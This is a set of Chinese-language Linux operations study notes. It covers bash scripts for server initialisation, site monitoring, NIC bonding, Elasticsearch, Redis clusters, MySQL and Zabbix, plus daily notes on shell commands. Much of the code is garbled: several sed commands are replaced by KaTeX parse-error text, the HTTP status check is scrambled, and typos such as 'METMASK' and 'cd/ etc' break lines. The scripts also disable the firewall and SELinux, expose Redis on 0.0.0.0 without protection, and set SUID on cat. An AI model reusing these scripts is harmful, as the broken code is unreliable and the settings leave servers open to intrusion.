云计算-运维笔记

source 刷新环境变量的作用是当前终端可以生效使用 切换另一个终端时会重新加载一便环境变量
awk ‘{print $1}’ 1.log |sort -n |uniq -c |sort -n
xargs 将上一个命令的输出 变成下一个命令的参数
删除中文
a d 你 好
ls | grep -vP[a-z-.]+|rm -rf ‘xargs’ #egrep -P 扩展正则 ‘[ ]’ 规范写法加’’ 号
*脚本
1.系统初始化脚本
#!/bin/bash
cat <

|a dns初始化
|b 源初始化
|c 安装常用软件
|d ntp自动对时
|e 永久关闭防火墙
|f 内核优化

EOF
while :
do
read -p “please you selcted”: selcte
case $selcte in

a)
echo “正在进行初始化,请等待…”
sleep 1
a=ip a | grep inet | grep global | awk -F'/' '{print $1}' | awk '{print $2}'
cat > /etc/resolv.conf < nameserver $a.2
nameserver 8.8.8.8
EOF
if [ $? -eq 0 ];then
echo “dns初始化已成功。”
else
echo “初始化失败,请查看/etc/resolv.conf目录”
fi
;;
b)
echo “正在初始化源,请等待…”
sleep 2
cd /etc/yum.repos.d/ >/dev/null && rm -rf *
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo >/dev/null
echo “正在安装扩展源…”
yum -y install epel-release >/dev/null
echo “源初始化成功。”
;;
c)
echo “正在下载资源包,请等待…”
yum -y install net-tool vim lsof wget >/dev/null
echo “正在安装配置文件…”
sleep 2
echo “软件安装已完毕。”
;;
d)
echo “正在下载相关软件,请等待…”
yum -y install ntpdate >/dev/null && ntpdate -s ntp1.aliyun.com >/dev/null
if [ $? -eq 0 ];then
echo “正在配置文件…”
sleep 2
echo “时间已校对。”
else
echo “时间服务器安装失败,”
fi
;;
e)
echo “正在关闭防火墙及linux,请等待…”
systemctl stop firewalld && setenforce 0
systemctl disable firewalld
sed -i s/SELINUX=enforceing/SELINUX=disabled/g /etc/selinux/config
;;
f)
echo “正在进行内核优化…”
sleep 2
cat >> /etc/security/limits.conf < root soft nofile 65535
root hard nofile 65535

  • soft nofile 65535
  • hard nofile 65535
    EOF
    echo “正在加载配置文件…”
    sleep 1
    cat >> /etc/sysctl.conf < vm.swappiness=0
    net.core.somaxconn=1024
    net.ipv4.tcp_max_tw_buckets=5000
    net.ipv4.tcp_max_syn_backlog=1024
    EOF
    echo “系统优化已完成。”
    ;;
    *)
    exit
    ;;
    esac
    done

2.监控网站存活脚本 #zabbix监控
#!/bin/bash

urls=cat url.txt | egrep "com|cn"
for url in $urls
do
date=date +%F-%T
code=curl -I --connect-timeout 3 -m 10 -s $url | grep "HTTP" | awk '{print $2}'
if [[ $code -eq 200 ]] || [[ c o d e − e q 302 ] ] ; t h e n e c h o " code -eq 302 ]];then echo " codeeq302]];thenecho"date u r l i s a l i v e " > > / t m p / m e s s a g e e l s e e c h o " e r r o r : url is alive" >>/tmp/message else echo "error: urlisalive">>/tmp/messageelseecho"error:date $url is died" >> /tmp/message
fi
done

3.机器巡检脚本
#!/usr/bin/bash
cat < 欢迎使用工具箱!!!*

| a|A 例如主机名
| b|B IP地址
| c|C 用户信息
| d|D 根分区 剩余容量
| e|E 内存剩余信息显示
| f|F 直接显示分区
| g|G 显示系统平均负载
| h|H 显示当前系统下用户的个数
| i|I 显示当前缓存大小
| k|K 显示当前系统时间并且自动对时
| l|L 下载国内源并且自动安装epel源
| m|M 永久关闭防火墙及临时关闭selinux
| n|N 查看当前系统版本

EOF

while :
do
read -p "please you a selected: " number

case $number in
a|A)
echo “当前主机名是:” $HOSTNAME
;;
b|B)
ip=ifconfig | grep inet | awk '{print $2}' | head -1
echo "当前IP地址为: " $ip
;;
c|C)
echo "当前登入用户为: " $whoami
;;
d|D)
gen_kysy=df -h | grep /dev/mapper/centos-root | awk '{print $4}'
echo “当前根分区剩余:” $gen_kysy
;;
e|E )
mem_free=free -h | grep Mem | awk '{print $4}'
echo "当前内存剩余: " $mem_free
;;
f|F)
echo “当前系统分区:”
df -Th
;;
g|G)
echo “当前机器平均负载 :”
cat /proc/loadavg
;;
h|H)
geshu=who | wc -l
echo "当前系统下的用户个数为: " $geshu
;;
i|I )
cache=free -h | grep Mem | awk '{print $6}'
echo “当前缓冲大小为:” $cache
;;
j|J)
echo “当前系统时间为:” $time
echo “系统正在安装相关功能,请内心等待!!!”

      yum -y install ntp &>/dev/null
       Ntpdate -u ntpl.aliyun.com

;;
l|L)
cd/ etc/yum.repos.d/ && rm -rf * &>/dev/null
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo &>/dev/null
yum -y install epel-release &>/dev/null
;;
m|M) systemctl disable firewalld
systemctl stop firewalld && setenforce 0
echo “防火墙及linux已关闭!”
;;
n|N)
redhat=cat /etc/redhat-release | awk '{print $4}'
echo “当前系统版本:” $redhat
;;
* )
break
sleep 2
echo “即将退出!!!”
esac
done

#!/bin/bash
rm -rf /etc/yum.repos.d/*


4.做bond #链路聚合
#!/bin/bash
echo “正在配置文件…”
touch /etc/sysconfig/network-scripts/ifcfg-bond0
cat > /etc/sysconfig/network-scripts/ifcfg-eth0 < DEVICE=eth0
TYPE=Ethernet
ONBOOT=yes
NM_CONTROLLED=no
BOOTPROTO=none
IPV6INIT=no
USERCTL=no
MASTER=bond0
SLAVE=yes
EOF
echo “3”
sleep 1
cat > /etc/sysconfig/network-scripts/ifcfg-bond0 < DEVICE=bond0
TYPE=Ethernet
ONBOOT=yes
NM_CONTROLLED=no
BOOTPROTO=none
IPADDR=192.168.253.144
PREFIX=24
IPV6INIT=no
USERCTL=no
GATEWAY=192.168.253.2
EOF
echo “2”
sleep 1
cat > /etc/sysconfig/network-scripts/ifcfg-eth1 < DEVICE=eth1
TYPE=Ethernet
ONBOOT=yes
NM_CONTROLLED=no
BOOTPROTO=none
IPV6INIT=no
USERCTL=no
MASTER=bond0
SLAVE=yes
EOF
sleep 1
echo “1”
touch /etc/modprobe.d/bond0.conf
cat > /etc/modprobe.d/bond0.conf < alias bond0 bonding
options bonding mode=0 miimon=100
EOF
service network restart

5.拆bond
#!/bin/bash

cat <

此脚本用于拆除bond 按“y”执行,“n”退出 |

EOF
read -p "please you selcted: " selcte

case $selcte in
y)
echo “正在配置文件…”
sleep 2
rm -rf /etc/sysconfig/network-scripts/ifcfg-eth0
rm -rf /etc/sysconfig/network-scripts/ifcfg-eth1
mv /etc/sysconfig/network-scripts/ifcfg-bond0 /etc/sysconfig/network-scripts/ifcfg-eth0
sed -i s/DEVICE=bond0/DEVICE=eth0/g /etc/sysconfig/network-scripts/ifcfg-eth0
sed -i s/BOOTPROTO=none/BOOTPROTO=dhcp/g /etc/sysconfig/network-scripts/ifcfg-eth0
sed -i ‘6,10’ /etc/sysconfig/network-scripts/ifcfg-eth0
sed -i ‘4a\PERSISTENT_DHCLIENT=“yes”’ /etc/sysconfig/network-scripts/ifcfg-eth0
echo “文件配置成功,正在重启网络服务”
sleep 2
systemctl restart network
echo “网络服务已重启”
;;
*)
echo “即将退出…”
sleep 2
exit
;;
esac

6.配置网卡子接口
#!/usr/bin/bash

cat << EOF
|=|
| 1 配置1个子接口 |
| 2 配置2个子接口 |
| 3 配置3个子接口 |
|
=|
EOF
read -p "please you input a number: " number

case $number in
1)
echo “正在进行配置文件,请等待…”
sleep 2
cat > /etc/sysconfig/network-scripts/ifcfg-ens33 << EOF
TYPE=“Ethernet”
NAME=“ens33”
DEVICE=“ens33”
ONBOOT=“yes”
IPADDR=192.168.253.155
METMASK=255.255.255.0
BOOTPROTO=“none”
GATEWAY=192.168.253.2
EOF
cat > /etc/sysconfig/network-scripts/ifcfg-ens33:0 << EOF
TYPE=“Ethernet”
NAME=“ens33:0”
DEVICE=“ens33:0”
ONBOOT=“yes”
IPADDR=192.168.253.157
METMASK=255.255.255.0
BOOTPROTO=“none”
GATEWAY=192.168.253.2
EOF
echo “文件配置完成,正在重启网络服务…”
systemctl restart network
sleep 2
echo “网络服务已重启,接口配置已完成”
;;
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2)
echo “正在进行配置文件,请等待…”
sleep 2
cat > /etc/sysconfig/network-scripts/ifcfg-eth0 << EOF
TYPE=“Ethernet”
NAME=“eth0”
DEVICE=“eth0”
ONBOOT=“yes”
IPADDR=192.168.253.155
METMASK=255.255.255.0
BOOTPROTO="none"33333
GATEWAY=192.168.253.2
EOF
cat > /etc/sysconfig/network-scripts/ifcfg-eth0:0 << EOF
TYPE=“Ethernet”
NAME=“eth0:0”
DEVICE=“eth0:0”
ONBOOT=“yes”
IPADDR=192.168.253.157
METMASK=255.255.255.0
BOOTPROTO=“none”
GATEWAY=192.168.253.2
EOF
cat > /etc/sysconfig/network-scripts/ifcfg-eth0:1 << EOF
TYPE=“Ethernet”
NAME=“eth0:1”
DEVICE=“eth0:1”
ONBOOT=“yes”
IPADDR=192.168.253.159
METMASK=255.255.255.0
BOOTPROTO=“none”
GATEWAY=192.168.253.2
EOF
echo “文件配置完成,正在启动网络服务…”
sleep 2
systemctl restart network
echo “网络服务已重启,接口配置已完成”
;;
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
3)
echo “正在进行配置文件,请等待…”
sleep 2
cat > /etc/sysconfig/network-scripts/ifcfg-eth0 << EOF
TYPE=“Ethernet”
NAME=“eth0”
DEVICE=“eth0”
ONBOOT=“yes”
IPADDR=192.168.253.155
METMASK=255.255.255.0
BOOTPROTO=“none”
GATEWAY=192.168.253.2
EOF
cat > /etc/sysconfig/network-scripts/ifcfg-ens33:0 << EOF
TYPE=“Ethernet”
NAME=“eth0:0”
DEVICE=“eth0:0”
ONBOOT=“yes”
IPADDR=192.168.253.157
METMASK=255.255.255.0
BOOTPROTO=“none”
GATEWAY=192.168.253.2
EOF
cat > /etc/sysconfig/network-scripts/ifcfg-ens33:1 << EOF
TYPE=“Ethernet”
NAME=“eth0:1”
DEVICE=“eth0:1”
ONBOOT=“yes”
IPADDR=192.168.253.159
METMASK=255.255.255.0
BOOTPROTO=“none”
GATEWAY=192.168.253.2
EOF
cat > /etc/sysconfig/network-scripts/ifcfg-eth0:2 << EOF
TYPE=“Ethernet”
NAME=“eth0:2”
DEVICE=“eth0:2”
ONBOOT=“yes”
IPADDR=192.168.253.161
METMASK=255.255.255.0
BOOTPROTO=“none”
GATEWAY=192.168.253.2
EOF
echo “文件配置完成,正在启动网络服务…”
sleep 2
systemctl restart network
echo “网络服务已重启,接口配置已完成”
;;

echo “即将退出…”
sleep 2
exit
;;
esac

7.elk 待完善

  • elastic相关脚本
    #!/usr/bin/bash
    useradd elastic &>/dev/null
    echo “用户已创建”
    find / -name “elasticsear*.tar.gz” -exec mv {} /tmp/ ; &>/dev/null
    echo “已找到安装包”
    tar -xf /tmp/elasticsear*.tar.gz -C /usr/local/ &>/dev/null
    echo “已解压”
    chown -R elastic.elastic /usr/local/elastic*
    echo “用户已授权”
    #sysctl -w vm.max_map_count=262144’ /etc/sysctl.conf
    #sysctl -p & >/dev/null &>/dev/null
    sed -i ‘KaTeX parse error: Undefined control sequence: \* at position 2: a\̲*̲ soft nofile 65…a* hard nofile 131072’ /etc/security/limits.conf
    sed -i ‘KaTeX parse error: Undefined control sequence: \* at position 2: a\̲*̲ soft nproc 204…a* hard nproc 4096’ /etc/security/limits.conf
    echo “正在加载配置文件”
    sed -i ‘KaTeX parse error: Undefined control sequence: \cluster at position 2: a\̲c̲l̲u̲s̲t̲e̲r̲.name: elk' /us…a\node.name: ela1’ /usr/local/elastic*/config/elasticsearch.yml
    sed -i ‘KaTeX parse error: Undefined control sequence: \node at position 2: a\̲n̲o̲d̲e̲.data: true' /u…a\network.host: 0.0.0.0’ /usr/local/elastic*/config/elasticsearch.yml
    sed -i ‘KaTeX parse error: Undefined control sequence: \http at position 2: a\̲h̲t̲t̲p̲.port: 9200' /u…a\discovery.seed_hosts:’ /usr/local/elastic*/config/elasticsearch.yml
    sed -i ‘KaTeX parse error: Undefined control sequence: \- at position 2: a\̲-̲ ip' /usr/local…a- ip’ /usr/local/elastic*/config/elasticsearch.yml
    sed -i ‘KaTeX parse error: Undefined control sequence: \- at position 2: a\̲-̲ ip' /usr/local…a\cluster.initial_master_nodes: [“ela1”, “ela2”, “ela3”]’ /usr/local/elastic*/config/elasticsearch.yml
    echo “配置文件已修改”
    echo “正在切换用户”
    #su - elastic
    #cd /usr/local/elastic*
    #./bin/elasticsearch -d -p /tmp/elasticsearch.pid
    echo “端口已启动,请稍后查看”
    #如果搭建elastic集群不成功,建议执行以下命令
    rm -rf /usr/local/elastic/data/ #集群配置信息
    rm -rf /tmp/elastic.pid #指定文件的pid文件
    rm -rf /use/local/elastic/config/elasticsearch.keystore #是否使用过root用户启动过

8.随机生成23位字符的密码
#32 位数字随机密码生成。
< /dev/urandom tr -dc a-z|head -c ${1:-32};echo

生成10个大写字母
< /dev/urandom tr -dc A-Z|head -c ${1:-10};echo

生成10个数字
< /dev/urandom tr -dc 0-9|head -c ${1:-10};echo

生成10个数字和大写字母的组合字符串
< /dev/urandom tr -dc 0-9-A-Z|head -c ${1:-10};echo
9.基础redis集群配置脚本
cat << EOF

请提前修该好配置文件再执行
例如:
port 6380
daemonize yes
protected-mode no
pidfile /var/run/redis-6380.pid
logfile /var/log/redis-6380.log
dir /redis/data/
#假如是多个主机实现的,就需要更改为 protected-mode yes

EOF
mv 6379.conf redis-6379.conf
sed ‘s/6379/6380/g’ /etc/redis/redis-6379.conf > /etc/redis/redis-6380.conf
sed ‘s/6379/6381/g’ /etc/redis/redis-6379.conf > /etc/redis/redis-6381.conf
echo “slaveof 127.0.0.1 6379” >> /etc/redis/redis-6380.conf
echo “slaveof 127.0.0.1 6379” >> /etc/redis/redis-6381.conf
/usr/local/bin/redis-server /etc/redis/redis-6379.conf
/usr/local/bin/redis-server /etc/redis/redis-6380.conf
/usr/local/bin/redis-server /etc/redis/redis-6381.conf
10.配置redis高级集群主从脚本 待完善
首先/etc/redis/cluster-redis-7001.conf编辑redis集群配置文件

bind 0.0.0.0
port 7001
daemonize yes

允许任何地址不使用密码访问我

protected-mode no
dir “/redis/data/”
logfile “cluster-7001.log”
dbfilename “cluster-dump-7001.log”
cluster-enabled yes
cluster-config-file cluster-redis-7001.conf

不需要集群的全部节点完好才提供服务

cluster-require-full-coverage no

-----------------注意参数修改------------------------------------------
sed ‘s/7001/7002/g’ cluster-redis-7001.conf > cluster-redis-7002.conf
sed ‘s/7001/7003/g’ cluster-redis-7001.conf > cluster-redis-7003.conf
sed ‘s/7001/7011/g’ cluster-redis-7001.conf > cluster-redis-7011.conf
sed ‘s/7001/7012/g’ cluster-redis-7001.conf > cluster-redis-7012.conf
sed ‘s/7001/7013/g’ cluster-redis-7001.conf > cluster-redis-7013.conf

scp -r cluster-redis-701* root@ip:/etc/redis/
redis-server /etc/redis/cluster-redis-7001.conf
redis-server /etc/redis/cluster-redis-7002.conf
redis-server /etc/redis/cluster-redis-7003.conf
ps -ef | grep redis-server #检查进程

ps -ef | grep redis-server | grep -v ‘grep’ | awk ‘{print $2}’ |xargs kill

#停掉原本的进程服务,删除redis/data/* 重新启动
redis-trib.rb create --replicas 1 192.168.253.178:7001 192.168.253.178:7002 192.168.253.178:7003 192.168.253.176:7011 192.168.253.176:7012 192.168.253.176:7013

redis-trib.rb create --replicas 主节点:端口 主节点:端口 主节点:端口 从节点:端口 从节点:端口 从节点:端口


11.扩容redis节点(主.从)脚本 待完善
主节点 #复制主的配置文件并修改
cp cluster-redis-7001.conf cluster-redis-7004.conf
sed -i ‘s/7001/7004/g’ cluster-redis-7004.conf
redis-server cluster-redis-7004.conf
从节点 #复制从的配置文件并修改
cp cluster-redis-7011.conf cluster-redis-7014.conf
sed -i ‘s/7011/7014/g’ cluster-redis-7014.conf
redis-server cluster-redis-7014.conf
#添加主节点信息
redis-trib.rb add-node 192.168.253.178:7004 192.168.253.178:7001
#添加从节点信息
redis-trib.rb add-node --slave --master-id bd7112695c67705968645924b790b267774cae7a 192.168.253.176:7014 192.168.253.178:7004
redis-trib.rb check host:port #查看节点信息 id
redis-cli -p 7001 cluster nodes
笔记

移动要删除节点的 数据槽到目前集群中的任意一个主节点

redis-trib.rb reshard --from ed643cf5be217bc0bf78fe5c99fb6afa7c854e66 --to 6dccd0b9f7aebc60d9589659cfb74882e27fe4f2 --slots 100 192.168.122.106:7001

移动要删除节点的 数据槽到目前集群中的任意一个主节点

redis-trib.rb reshard --from ed643cf5be217bc0bf78fe5c99fb6afa7c854e66 --to c2e95e5b3b94875c6b1f8d81b2900261ad9ffee9 --slots 100 192.168.122.106:7001
反复操作以上指令,知道把需要删除节点的所有槽移动完毕

删除从节点

redis-trib.rb del-node 192.168.122.106:7001 868c5098d6aab08d8cd41acbac046319700e4729

删除主节点

redis-trib.rb del-node 192.168.122.106:7001 ed643cf5be217bc0bf78fe5c99fb6afa7c854e66

12.yum安装数据库7.5脚本
#!/usr/bin/bash
wget https://dev.mysql.com/get/mysql80-community-release-el7-3.noarch.rpm
rpm -ivh mysql80-community-release-el7-3.noarch.rpm
yum -y install yum-utils #直接使用命令修改要安装数据库
yum-config-manager --enable mysql57-community
yum-config-manager --disable mysql80-community
yum install -y mysql-community-server
systemctl start mysqld
systemctl enable mysqld
#grep password /var/log/mysqld.log 过滤密码
#mysqladmin -uroot -p’旧密码’ password ‘新密码’
主从复制 MASTER_LOG_FILE=‘mylog.000002’, MASTER_LOG_POS=154;

14.检测一个网段的ip通不通
#!/usr/bin/bash
for i in {1…254}
do
ip=192.168.253.$i
ping -c1 -t0.0.1 KaTeX parse error: Expected 'EOF', got '&' at position 5: ip &̲>/dev/null if [?-eq0]then;
echo"$ip"
fi

done
----------------------------------------------------mysql交互协议------------------------------
1TCP/IP协议
2 Unix socket协议 —socket是一种内部进程通信的形式被用于在相同主机上进程进程间的双向通信连接点。
3 share memory 协议(可不写)----------------------------------------------------------------------------------------------
13.安装zabbox监控服务端
#!/usr/bin/bash
cat < -提示:请上传安装包 zabbix.tar. gz
输入“y”执行,输入“n”退出
EOF
read -p “please select:” number
case $number in
y|Y)
find / -name “zabbix.tar.gz” -exec mv {} /tmp/ ; &>/dev/null
echo “正在查找安装包”
tar -xf /tmp/zabbix.tar.gz -C /usr/local/
cd /usr/local/zabbix/
yum -y install *
#mysql -uroot -p password’’
#mysql> create database zabbix character set utf8 collate utf8_bin;
#mysql> create user zabbix@localhost identified by ‘password’;
#mysql> grant all privileges on zabbix.* to zabbix@localhost;
#mysql> quit;
#zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix
#导入初始架构和数据
-------------------------------------数据库初始化------------------------------------------
14.初始化数据库(清除数据)
#yum安装
systemctl stop mysqld
rm -rf /var/lib/mysql/“" 注意删除mysql下的所有文件 *
rm -rf /var/log/mysql.log
systemctl start mysqld
#源码包
停止数据库
删除/usr/local/mysql/data/"
” 删除data下的所有文件
启动数据库

15.安装zabbix客户端脚本
wget https://repo.zabbix.com/zabbix/4.2/rhel/7/x86_64/zabbix-release-4.2-1.el7.noarch.rpm
rpm -ivh zabbix-release-4.2-1.el7.noarch.rpm
yum -y install epel-release.noarch
yum install zabbix-agent zabbix-sender -y

笔记
day1
cp -r 拷贝目录
cp 文件名字 路径 原文件 存在
mv 文件名字 路径 原文件不存在
Vi 文件名 打开文件 a i o 区别 (光标位置)
wq! q! 保存退出 直接退出不保存
Esc shift :q!退出 wq!保存并退出
: set nu 显示行号 set nonu 不显示行号
history 查看历史
! 数字 执行历史命令
man 命令 查看帮助 按空格翻页
a i o /光标位置
: esc wq! q! 退出文件
cat xx查看文件 vi 打开文件
!xx 查看历史命令
touch {1…10} {a…d} .txt
-------------------注意-----------------------------------
使用tab键补全
创建文件*
touch “” *
删除文件

rm -rf *(注意使用反斜杠\)
创建目录1.txt、2.txt、3.txt
mkdir {1…3}.txt
移动目录1.txt到/srv目录下
mv 1.txt /srv
复制目录2.txt到/srv目录下
cp -r 2.txt /srv
day2
centos6.x版本系统和centos7.x系统版本有啥区别?
1内核版本 uname -a uname -r
cat /etc/redhat-release 查看系统版本
2启动加载器
3防火墙 iptables(centos6)firewalld(centos7)
*4默认数据库 mysql(centos6)mariadb(centos7)
5文件结构
6主机名
*7服务相关 service xx restart 和systemctl restart xx
关闭防火墙 可以进行端口转发 (企业默认关闭防火墙)
vi /etc/selinux 7 disabled
修改ssh的默认端口的,使用其他的端口号登录服务器(1000 2000)
端口的范围是: 1-65535
systemctl stop sshd 关闭sshd服务
systemctl restart sshd重启操作
1.修改ssh服务默认端口,使用其他端口登入服务器!
答案
端口的范围1-65535
1.修改配置文件 vi /etc/ssh/sshd_config 修改禁止root远程 免密登录
配置文件开头如果是# 要去掉
2.systemctl restart sshd
3.systemctl stop firewalld
4.setenforce 0(临时关闭selinux)
Selinux 一种安全策略
2.安全加固
答案
1.防火墙只开放对外的服务端口
2禁止root远程登入+(38行) 修改为yes
3.修改/etc/passwd访问权限及属性
4.修改sshd的服务端口 (17行)3
5.禁止不用的服务和应用
6.经常检查系统日志
7.执行初始化脚本,实现杀毒软件的安装及ntp时间对时,开机挂载磁盘等等。
8.修改yum源
9.添加帐号

vi编辑器
s/旧的/新的/g
s:替换 g:整行 %:全文
1,5前五行
6 ,$ 6行到最后一行
yy 复制 p粘贴
3yy 复制光标及下3行(包含光标所在行)
dd 删除
4dd 删除光标所在行及下3行 (一共4行)
G 光标移动到最后一行
dG 删除光标所在行及下边所有
u 撤销
修改重要文件前要cp(备份)
例子:1,5 s/root/yang/ 从1-5行的root 替换为yang
5,$ s/root/yang/ 表示最后一行 1 , 表示最后一行 1, 表示最后一行1, s/root/yang/g :% s/root/yang/g %表示全文 g表示全局

--------------------------------注意---------------------------------
虚拟机无法连接 1查看ip 2查看端口17 3.修改禁止远程登入
目录
/etc 系统配置 /etc/home 普通用户的家目录 /etc/shadow用户密码
/etc/passwd查看帐号 /var/spool/mail邮箱 /proc 系统虚拟信息 cpu
day3
为什么中小型公司使用云服务器,而大型互联网(其他行业公司)全部使用物理机?
因为云服务器购买方便,成本低,方便维护。(出现问题给云服务器提供工单,让他们解决)。并且各类应用服务可以直接购买,例如lvs负载均衡,mysql数据库服务。
物理机要在IDC(数据中心)俗称机房,进行托管,费用昂贵。
托管费用举例:亦庄联通机房 一个机柜一个月托管费用为7k
北京亦庄联通机房一个柜子的费用 外地比较便宜,南方一般是3k

tail -x 从后往前显示多少行 head -x 从前往后显示
cat 显示全文 more 分页显示并且出现% less分页查看 空格分页 q退出

useradd user02 -u 503 创建用户user02,指定uid
useradd user03 -d 503 创建用户user03指定家目录
useradd user07 -G hr 创建用户,指定附加组

Userdel -r xx 删除用户
groupadd net01 -g 2000 添加组指定家目录
cat grep ‘net01’ /etc/group 查看/etc/group中组net01的信息
groupadd 添加组 groupdel 删除组
vi /etc/group 组的配置文件
usermod -G IT niuniu 覆盖原有组 -aG添加附加组不会覆
gpasswd -a tom it 添加用户到组

useradd niuniu -u 5000 指定用户的uid
useradd niuniu -d/ aaa 指定用户到家目录
Which 查看储存命令的位置

-------------------------------数据库------------------------------
关系型数据库
mysql orcal mariadb

redis memcache mongodb

权限
useradd user01 -G hr添加用户到组hr
useradd user02 -G hr
mkdir /home/hr
chgrp HR /home/hr 添加组
770 /home/hr 添加770权限
验证:hr01 hr02用户都可以进入目录
添加hr03用户并设置密码登入
Cd /home/hr 可以进入

 echo “x” >1.txt  覆盖
  echo "x" >>1.txt    追加

chattr +a1.txt 添加a属性 追 >>只可加
添加i属性 什么都不可以
lsattr 1.txt 查看文件权限

给/etc/passwd +a属性 添加帐号失败
给/etc/shadow +a属性 passwd root 修改密码失败
因为shadow文件有属性。 添加帐号useradd失败,因为passwd文件有属性,需查看两个文件属性 然后去掉属性 重新添加及修改
a echo “cdc” > 加a属性只可追加
i 不可追加和修改
sudoers 加a属性 j
ll -d 查看目录权限 ll 查看文件权限

  chgrp 组名 文件 修改组    chown 修改主
                                                    day4

ps aux | grep ssh less 分页查看进程加grep过滤
正在使用的用户 使用%cpu 使用%mem
kill -9 7671(进程名) 终止进程
pkill 用户名(关闭 该用户所有进程)
如何判断linux服务器是否被入侵,(1占用带宽,2消耗资源)或者在公司被黑了怎么办?
1首先检查 当前有谁在登入 w查看谁正在登入 ps aux
ps-ef top(动态查询)
2检查谁曾经登入过 last查看谁曾经登入
3回顾历史命令 history
4检查哪些进程在消耗cpu,并且消耗非常厉害(进行sort排序)
ps aux --sort -%cpu | less查看cpu进程加-号从大到小排序
5检查所有系统进程
6在去修改默认的ssh端口然后将坏蛋t掉

chmod u+s /usr/bin/cat

which cat which rm 查看储存命令的路径

基本针对所有用户,任何用户在执行有suid权限的程序时(例如/usr/bin/rm),都是以root身份在执行

chmod g+s /home/hr 针对目录
新创建的文件继承目录的属组

chmod o+t /home/dir1 针对目录 sticky
用户只能删除自己的文件,别人不行
属主: u
属组: g
其他人: o

基本权限类型:
读: r 4
写: w 2
执行: x 1

user1 xx
user2 不可以删除
user2 可以删除
ps aux 查看进程 服务----进程
ps aux | less 分页查看
用户 PID cpu使用率 memory(内存)使用率
ps aux --sort -%cpu | less cpu使用率\

top命令动态查询进程:

load average:1 5 15平均负载
ps aux ps -ef 静态查看
ip a | grep “inet” ip a | grep -v “inet”


常见端口
ftp 20 21
ssh 22
dns 53
web服务 80
mysql 3306
redis 6379
tomcat 8005 8080 8009

ps aux 静态
ps -ef静态

top / load average 1 5 15 分钟的平均负载

ps aux --sort -%cpu(mem) | head -x | grep -v “x”
排序 -(从大到小) 头 反向
ps aux --sort %mem | tail -x | less

lsof -i:xxx 查看端口号
uptimp静态查看平均负载 top day5

1.ping使用的什么协议?ping命令检测连通性
ICMP协议
两个虚拟机直接ping 10000次 几秒内完成。
ping -c10000(次数) -i0.01(时间间隔) IP 网关地址。.2虚拟机
判断故障:
1.ping 查看是否启动network
2.查看端口服务isof -i:端口号

这条命令是判断一台服务器是否丢包时用的。
怎么判断的?是否丢包 0% lost packet 丢包率
一定要先登入到服务器上,然后去ping网关 (x.x.x.1)

在公司里,服务器的网关地址是x.x.x.1
而在虚拟机里网关是x.x.x.2

DHCP是什么?(企业中使用静态ip地址)
动态主机配置协议
主要目的是为了方便我们主机ip地址的配置,如
果网络中存在大量的主机时,可部署DHCP协议由DHCP服务器分配地址给主机。

局域网内不可以配置多个DHCP服务器,只能有一个。
&>混合输出 /dev/null 回收箱

分区
df -h查看分区情况

查看内存使用情况
Free -m 或者 free -l free -h均可 只是得到的单位不同
Ps
MBR、GPT的区别:
  1、MBR分区表最多只能识别2TB左右的硬盘空间,大于2TB的容量将无法识别从而导致硬盘空间浪费;GPT分区表则能够识别2TB以上的硬盘空间。
  2、MBR分区表最多只能支持4个主分区或三个主分区+1个扩展分区(逻辑分区不限制);GPT分区表在Windows系统下可以支持128个主分区。
  3、MBR分区表的大小是固定的;在GPT分区表头中可自定义分区数量的最大值,也就是说GPT分区表的大小不是固定的。
分出主分区后,其余的部分可以分成扩展分区,一般是剩下的部分全部扩展分区,也可不全分,剩下的部分就浪费了。
扩展分区不能直接使用,必须分成若干逻辑分区。所有的逻辑分区都是扩展分区的一部分。
硬盘的容量=主分区的容量+扩展分区的容量
扩展分区的容量=各个逻辑分区的容量之和
主 扩展 逻辑
宕机 冗余
nm


设置应用服务器开机自启与关闭
ystemsctl disable firewalld (重启后生效)
systemctl status firewalld 查看防火墙状态
setenforce 0 临时关闭selinux 重启后失效********
vi /etc/selinux/config
第7行将 enforceing 改成disabled后 重启生效

grep -i 忽略大小写
grep -v 反转匹配(反向匹配)
date 显示当前系统时间
1> 正确输出重定向 覆盖
1>> 正确的输出 追加

2> 错误的输出 覆盖
2>> 错误的输出 追加

1> 2> 正确输出写入到xx 错误的输出写入到XX
&> 混合输出 无论正确错误都写入到XX

/dev/null 垃圾箱 黑洞文件 回收站
不想要的信息都可以 > >>/dev/null

sort -t":" -k3 -n /etc/passwd -r (倒序)

排序 指定分割符 第三列 数字 文件名

df -h查看系统分区情况

查看内存使用情况

free -m 或者 free -h 均可,只是得到的单位不同

查看磁盘分区
fdisk /dev/sdb 给磁盘分区 0 n w q
mkfs.xfs /dev/sdb -f 格式化磁盘
make filesystem 创建文件系统
xfs 格式化成xfs文件系统
ext4 格式化成xfs文件系统
day6
linux系统必须要有的三个分区
/ boot swap
系统加固
/boot 引导分区 装系统后自动创建

你使用的centos的默认的文件系统是什么?
Xfs
df -Th(查看文件操作系统)
T type(类型)

ext4和xfs文件系统区别
ext家族支持度最广:
但创建文件系统(格式化)慢!
但修复慢!
但文件系统储存容量有限!

xfs同样是一种日志式文件系统:
高容量,支持大储存
高性能,创建/修复文件系统快

简单介绍一下Linux文件系统?
( 请说说ext4文件系统和xfs文件系统的区别?)
linux操作系统支持很多不同的文件系统,如ext4.xfs,fat等等。
linux以文件的形式对计算机中数据及资源进行管理,一切皆文件。
ext4支持度广,但是创建文件系统(格式化)慢,修复慢。
xfs文件系统,容量高,支持大存储,高性能。
inode是需要用到是,才动态产生。

固态硬(ssh)盘没有转速
硬盘转速 :7200RPM(转速)
机械硬盘 3.5寸
SSD 2.5存
希捷(Seagate)2TB 256mb 7200RPM 台式机机械硬盘 SATA接口(接口类型)
希捷酷鱼BarraCuda系列(ST2000DM008)
品牌 容量 转速 接口类型

更换硬盘给现场提供什么信息?
机房信息(物理地址 房间地址),机柜号码,服务器名称(编号),具体那一块儿磁盘, HD SSD? 品牌 容量 转速 接口类型 尺寸

为什么服务器有磁盘空间,但是创建不了文件。
因为inode节点被占满。想要创建新文件,需要删除垃圾文件及没用的日志文件。
1 创建不了文件了 touch失败了
a磁盘满了 b盘崩 id 把这个pid直接kill掉,空间及inode号立马释放
在公司里遇到一个分区满了怎么做
rm -rf *.log rm -rf *.bak rm -rf *.swp

